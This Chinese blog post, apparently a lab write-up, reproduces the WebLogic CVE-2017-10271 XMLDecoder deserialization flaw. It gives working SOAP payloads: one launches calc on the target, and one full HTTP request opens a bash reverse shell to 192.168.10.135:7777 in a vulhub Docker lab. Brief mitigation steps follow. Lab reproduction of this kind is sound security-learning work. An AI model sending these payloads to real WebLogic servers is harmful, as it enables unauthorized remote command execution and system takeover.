zoukankan      html  css  js  c++  java
  • Weblogic 'wls-wsat' XMLDecoder 反序列化_CVE-2017-10271漏洞复现

    Weblogic 'wls-wsat' XMLDecoder 反序列化_CVE-2017-10271漏洞复现

    一、漏洞概述 

    WebLogic的 WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

    二、漏洞版本

    受影响WebLogic版本:10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0

    三、漏洞复现环境搭建

    1、所需环境 目标机:安装weblogic 10.3.6.0 攻击机:win10 安装burpsuit

    2、配置java环境

      

    3、安装Weblogic

    3.1 官网下载(https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-main-097127.html),运行软件

      

    3.2不勾选 “我希望通过My Oracle Support接收安全更新"

      

    3.3设置用户名以及密码

      

    3.4选择生产模式

      

    3.5若安装选择的默认路径与默认域名,在如下路径中运行,输入用户名以及密码,运行weblogic服务C:OracleMiddlewareuser_projectsdomainsase_domainWebLogic.cmd

      

    3.6本地环境测试,出现如下图,说明weblogic环境搭建成功

      

    3.7 win10测试访问http://192.168.10.171:7001/wls-wsat/CoordinatorPortType

      

    四、漏洞复现

    1、访问http://192.168.10.171:7001/wls-wsat/CoordinatorPortType,存在下图则说明存在漏洞

      

    2、漏洞验证(POC)

    2.1Poc如下,在目标计算机上调用计算器

    <soapenv:Envelope     xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Header>
           <work:WorkContext    xmlns:work="http://bea.com/2004/06/soap/workarea/">
               <java      version="1.8" class="java.beans.XMLDecoder">
                   <void     class="java.lang.ProcessBuilder">
                        <array    class="java.lang.String" length="3">
                            <void     index="0">
                               <string>calc</string>
                            </void>
                            <void     index="1">
                                <string></string>
                            </void>
                            <void     index="2">
                                <string> </string>
                            </void>
                        </array>
                    <void     method="start"/></void>
               </java>
           </work:WorkContext>
       </soapenv:Header>
        <soapenv:Body/>
        </soapenv:Envelope>

    2.2构造post数据包,并添加Content-text/xml, 把Cache-Control修改为no-cache

      

    2.3发送数据包,可以看到返回的状态码为500

      

    2.4查看目标机器,看到看到目标机器的计算器已经被调用

       

    五、漏洞防御

    1、 升级本版本

    2、 删除根据实际环境路径,删除WebLogic wls-wsat组件

    C:OracleMiddlewarewlserver_10.3serverlib wls-wsat.war

    C:OracleMiddlewareuser_projectsdomainsase_domainserversAdminServer mp.internal wls-wsat.war

    C:OracleMiddlewareuser_projectsdomainsase_domainserversAdminServer mp\_WL_internalwls-wsat

    2.1删除wls-wsat组件,然后重启WebLogic服务

    2.2浏览器访问,如下图,说明漏洞不存在

      

    使用ubuntu 16.04搭建docker vulhub漏洞环境搭建 

    vulhub漏洞环境搭建参考: https://blog.csdn.net/qq_36374896/article/details/84102101

    使用vulhub漏洞环境复现CVE-2017-10271,参考文档:

    https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271

    1.启动测试环境

    docker-compose up -d

    2.浏览器访问http://172.17.0.1:7001/wls-wsat/CoordinatorPortType

    3.构造post数据包,反弹shell   #注意反弹shell需要把特殊字符进行编码(html转义符对特殊符号进行转换或者利用burpsuit使用html编码), 否则解析XML的时候将出现格式错误

    POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host: 172.17.0.1:7001
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type:text/xml
    Content-Length: 641
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java version="1.4.0" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>bash -i &gt;&amp; /dev/tcp/192.168.10.135/7777 0&gt;&amp;1</string>
    </void>
    </array>
    <void method="start"/></void>
    </java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>

      

    4.此时查看kali,可以看到成功反弹shell

      

  • 相关阅读:
    Oracle笔记(十五) 数据库备份
    Oracle笔记(十四) 用户管理
    Oracle笔记(十三) 视图、同义词、索引
    Oracle笔记(十二) 集合、序列
    Oracle笔记(十一) 建表、更新、查询综合练习
    Oracle笔记(十) 约束
    Oracle笔记(八) 复杂查询及总结
    Oracle笔记(九) 表的创建及管理
    06-流程控制
    05-数据类型转换
  • 原文地址:https://www.cnblogs.com/yuzly/p/11150529.html
Copyright © 2011-2022 走看看